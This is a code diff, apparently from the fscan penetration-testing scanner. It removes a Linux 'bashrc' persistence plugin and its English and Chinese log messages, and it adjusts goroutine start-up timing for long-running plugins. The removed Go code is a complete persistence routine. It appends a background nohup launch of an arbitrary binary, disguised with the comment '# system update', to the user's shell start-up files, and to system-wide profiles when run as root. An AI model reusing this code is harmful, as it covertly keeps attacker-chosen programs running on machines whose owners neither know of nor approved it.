diff --git a/common/i18n/locales/en.yaml b/common/i18n/locales/en.yaml index 417acbd..f28285e 100644 --- a/common/i18n/locales/en.yaml +++ b/common/i18n/locales/en.yaml @@ -603,10 +603,6 @@ winbits_success: winlogon_success: other: "Winlogon persistence completed: {{.Arg1}} entries" -# Bashrc injection -bashrc_success: - other: "Bashrc injection completed: {{.Arg1}} files" - # Windows startup folder winstartup_success: other: "Windows startup folder persistence completed: {{.Arg1}} methods" diff --git a/common/i18n/locales/zh.yaml b/common/i18n/locales/zh.yaml index 57a2c04..e9bee28 100644 --- a/common/i18n/locales/zh.yaml +++ b/common/i18n/locales/zh.yaml @@ -602,10 +602,6 @@ winbits_success: winlogon_success: other: "Winlogon持久化完成: {{.Arg1}}个项目" -# Bashrc注入 -bashrc_success: - other: "Bashrc注入完成: {{.Arg1}}个文件" - # Windows启动文件夹 winstartup_success: other: "Windows启动文件夹持久化完成: {{.Arg1}}个方法" diff --git a/core/scanner.go b/core/scanner.go index c97ce28..007a661 100644 --- a/core/scanner.go +++ b/core/scanner.go @@ -227,12 +227,19 @@ func executeScanTask(ctx context.Context, session *common.ScanSession, pluginNam // 长驻插件不进 WaitGroup,通过 ctx 管理生命周期 if longRunningPlugins[pluginName] { + ready := make(chan struct{}, 1) go func() { plugin := plugins.Get(pluginName) if plugin != nil { + // 给主线程一点时间让 state 标记生效 + go func() { + time.Sleep(500 * time.Millisecond) + ready <- struct{}{} + }() plugin.Scan(ctx, &target, session) } }() + <-ready return } diff --git a/plugins/local/bashrc.go b/plugins/local/bashrc.go deleted file mode 100644 index 2d60374..0000000 --- a/plugins/local/bashrc.go +++ /dev/null @@ -1,105 +0,0 @@ -//go:build (plugin_bashrc || !plugin_selective) && !windows && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/user" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -type BashRCPlugin struct { - plugins.BasePlugin -} - -func NewBashRCPlugin() *BashRCPlugin { - return &BashRCPlugin{BasePlugin: plugins.NewBasePlugin("bashrc")} -} - -func (p *BashRCPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - pePath := session.Config.PersistenceTargetFile - if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("未指定持久化文件,使用 -persistence-file 参数")} - } - if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("文件不存在: %s", pePath)} - } - - absPath, _ := filepath.Abs(pePath) - payload := fmt.Sprintf("\n(nohup %s &>/dev/null &) # system update\n", absPath) - - targets := []struct { - path string - desc string - }{ - {filepath.Join(homeDir(), ".bashrc"), "~/.bashrc"}, - {filepath.Join(homeDir(), ".profile"), "~/.profile"}, - } - - if os.Getuid() == 0 { - targets = append(targets, - struct{ path, desc string }{"/etc/profile", "/etc/profile"}, - struct{ path, desc string }{"/etc/bash.bashrc", "/etc/bash.bashrc"}, - ) - } - - var output strings.Builder - var successCount int - - for _, t := range targets { - if _, err := os.Stat(t.path); err != nil { - continue - } - data, err := os.ReadFile(t.path) - if err != nil { - continue - } - if strings.Contains(string(data), absPath) { - output.WriteString(fmt.Sprintf("[跳过] %s: 已存在\n", t.desc)) - continue - } - f, err := os.OpenFile(t.path, os.O_APPEND|os.O_WRONLY, 0644) - if err != nil { - output.WriteString(fmt.Sprintf("[失败] %s: %v\n", t.desc, err)) - continue - } - _, err = f.WriteString(payload) - f.Close() - if err != nil { - output.WriteString(fmt.Sprintf("[失败] %s: %v\n", t.desc, err)) - continue - } - output.WriteString(fmt.Sprintf("[成功] %s\n", t.desc)) - successCount++ - } - - if successCount > 0 { - common.LogSuccess(i18n.Tr("bashrc_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func homeDir() string { - if u, err := user.Current(); err == nil { - return u.HomeDir - } - return os.Getenv("HOME") -} - -func init() { - RegisterLocalPlugin("bashrc", func() Plugin { - return NewBashRCPlugin() - }) -}